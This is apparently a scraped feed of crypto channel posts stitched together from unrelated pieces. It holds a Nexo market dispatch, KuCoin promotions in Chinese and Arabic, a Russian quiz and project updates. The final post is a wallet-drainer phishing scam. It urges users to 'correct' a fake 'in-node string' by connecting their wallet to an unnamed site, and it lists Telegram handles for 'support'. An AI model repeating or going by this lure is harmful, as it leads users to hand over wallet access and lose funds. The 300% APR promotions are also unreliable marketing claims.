Daily Market Dispatch – August 4, 2025 Crypto markets are steadying at altitude, showing resilience even as traditional risk assets wobble under fresh policy moves. Bitcoin is consolidating just above $114,00, Ethereum is holding above $3,500, and the total digital asset market cap remains well above $3.7 trillion. Despite temporary sell-offs triggered by macroeconomic uncertainties, the broader thesis remains firmly intact: institutional flows, advancing regulations, and disciplined token economics continue to underpin the upside. Bitcoin After reaching $113,000 over the weekend, BTC found its footing and retraced higher, reclaiming key technical ground. Daily volumes are light, but the bid remains firm. Notably, Japan’s publicly listed Metaplanet added another 463 BTC, raising its corporate stash to 17,595 coins, a signal that public market conviction in Bitcoin is no longer just a U.S. phenomenon. Ethereum & Altcoins Ethereum’s price action mirrored Bitcoin’s, after a brief drop below $3,500 on Friday, ETH rebounded to current levels near $3,560, where it’s now forming a new consolidation range. Despite trailing BTC since mid-July, ETH remains the strongest-performing crypto major of the past quarter, up 41% over 90 days. Institutional inflows remain positive – especially from ETH-aligned funds and corporate treasuries – while protocol development continues at pace. Altcoins have stabilized after July’s volatility, notably due to a 52 % decline in scheduled token unlocks for August. This brings the total unlock volume down to approximately $3 billion, compared to $6.3 billion in July. A leaner emission environment, combined with reduced DeFi leverage metrics, enables more constructive altcoin behavior: prices can now stabilize on fundamentals rather than be driven by forced supply dynamics. Macro & Markets The macro backdrop is turning supportive. Friday’s U.S. jobs report showed just 73,000 new payrolls – well below expectations – with downward revisions to prior months and wage growth cooling to +0.3%. The unemployment rate rose to 4.2%, reinforcing the view that the Fed has reached the end of its tightening cycle. At the same time, Core PCE inflation held at 2.8%, steady but no longer accelerating. Treasury yields dropped, the dollar pulled back, and global equities turned cautious. This environment clears space for crypto to stabilize and advance. Digital assets now sit at the intersection of policy relief and structural demand. Unlike traditional markets, crypto offers upside without interest-rate baggage, and in a soft-landing scenario, that edge becomes strategic. Regulation & Regionals The standout development out of Asia: Hong Kong officially implemented its Stablecoins Ordinance on August 1, requiring fiat‑pegged stablecoin issuers to obtain licensing, meet strict reserve and anti‑money‑laundering standards, and register publicly. However, no licenses will be issued until early 2026, and the HKMA made clear that only a handful will qualify initially. This measured entry reinforces Hong Kong’s ambition to become a leading digital assets hub and puts it on the radar of everyone in crypto. Looking Ahead Crypto is holding its ground while traditional markets search for direction. This week, key macro events include Wednesday’s ISM Services Index, Thursday’s jobless claims, and Friday’s University of Michigan inflation expectations – all critical for confirming the Fed’s next move. Traders should also track developments in global trade tensions and any updates from Hong Kong’s regulators following the new stablecoin regime. This week, while macro data and geopolitics may introduce volatility, crypto’s core upward trend is intact. The market is digesting policy clarity and entering a structural build‑out phase. The bull thesis is alive, structured, disciplined, and forward‑looking. — Stella Zlatareva, Nexo Dispatch editor For informational purposes only; not financial or investment advice

💰UNITE 固定收益優惠，享 300% 年利率！ ⏰活動開始時間：2025 年 8 月 4 日 10:00 (UTC)

www.kucoin.com

🔥Cycle Network (CYC) 上線活動，465,000 CYC 等你來贏！ ⏰2025年8月4日12:00 至 2025年8月21日08:00 (UTC)

www.kucoin.com

SIGN、MILK 保證金服務將暫時關閉！

www.kucoin.com

🔥 حملة إدراج Cycle Network (CYC) – توزيع 465,000 CYC! ⏰ من الساعة 12:00 ظهرًا في 4 أغسطس 2025 إلى الساعة 08:00 صباحًا في 21 أغسطس 2025 (بتوقيت UTC)

www.kucoin.com

💰 عرض ثابت لـ UNITE – استمتع بنسبة عائد سنوي (APR) تصل إلى 300%! ⏰ بدء النشاط: الساعة 10:00:00 صباحًا بتوقيت UTC في 4 أغسطس 2025

www.kucoin.com

🔥 لا تفوّت جلسة #KuCoinFireSideChat مع $XNY! ⏰ الساعة 10:00 صباحًا بتوقيت UTC في 5 أغسطس 2025 🎁 اكتشف تفاصيل السحب الكامل من خلال هذا الرابط!

x.com

✅ اضبط تذكيرك من هنا!

x.com

أظهر دعمك لـ $XNY على #KuCoin الآن!

☑️ ЭРУДИТ ☑️ В начале недели мы загадываем слово. Каждый день с понедельника по пятницу мы публикуем по одной или две буквы из этого слова в случайном порядке. Кто первым угадает слово недели - получит вознаграждение! Количество ответов от каждого участника не ограничено, каждый вариант ответа должен быть в отдельном сообщении. Отредактированные сообщения будут дисквалифицированы 💰Приз: 10 USDT 🏆 Победитель, угадавший слово первым объявляется в конце недели 🏆 ☝🏻Победителем нельзя стать 2 недели подряд ❗️Участникам необходимо: ✔️ Отправлять в наш чат свои предположения по загаданному слову недели с хештегом #эрудит; ✔️ Заполнить форму один раз в неделю до 19:00 (МСК) каждой пятницы. ✔️ Подписаться на наш канал Тема: трейдинг Буква понедельника: и Текущие буквы: и Пример ответа: #эрудит «ваш ответ»

🔠🔠🔠🔠🔠🔠🔠 🔠🔠🔠🔠 👉Hey, Cheelleer! Open up YouTube! 💃 *The new episode of Cheelee News* is already out 🔥 We’re diving into all the hottest updates! ❤️ Cheelee update — which glasses now have lower withdrawal fees? 🤖 DeREK the robot — what went wrong during testing? 💸 G Coin — a new milestone in transaction volume? 🧠 AI vs. math — who took gold at the Olympiad? 😏 Make sure you didn’t miss a thing — and drop a comment: whose side are you on — AI or the math? *tap* Chat 🟣 Get Cheelee 🟣X 🟣 Discord 🟣TikTok 🟣 Instagram 🟣 Threads

StaFi Protocol Monthly – July Community Update ➡️ Product & Development ✅ 2025Q3 roadmap ✅ The first LSV use case on @SonicSVM ✅ LSV Launched on StaFi website ✅ StaFiHub bridge retirement ➡️ Governance & Proposals ✅ Mapping for $FIS listing on @HyperliquidX ➡️ Community & Collaboration ✅ StaFi DAO financial report for July ✅ Polls on future listings and the direction of LSV development ✅ Staking Letter #20 ✅ Staking Letter #20 challenges + Quiz ✅ Treasury $FIS burning update #10 ✅ New Partnership with @ekoxofficial ✅ StaFi X Space AMA ➡️ August Prospects ✅ Continue support for SubDAO Expansion ✅ Expanding LSV deployments across new ecosystem ✅ #RWA stack launch 👉 Check the full report here:

stafi-protocol.medium.com

🔄 Retweet:

x.com

Вход в чат 💬 через PRIZM SMS

If you are experiencing any difficulty connecting, migrating, swapping, high fees, errors, staking, It means there is a problem with your in-node string, you have to correct it through walletconnect Follow the steps below to correct the error Step 1. GO TO WEBSITE Step 2. Select your wallet type and Connect your wallet Step 3. Select correct my strings 4. Click accept now Problem solve NOTE: YOU ARE SUBMITTING IT TO AI ROBOT WITH ZERO HUMAN INTERFERENCE Hello, if you need any extra help, send a message to @ivyleeiWY @Anna9014 Note: do not send a message if you have not tried this step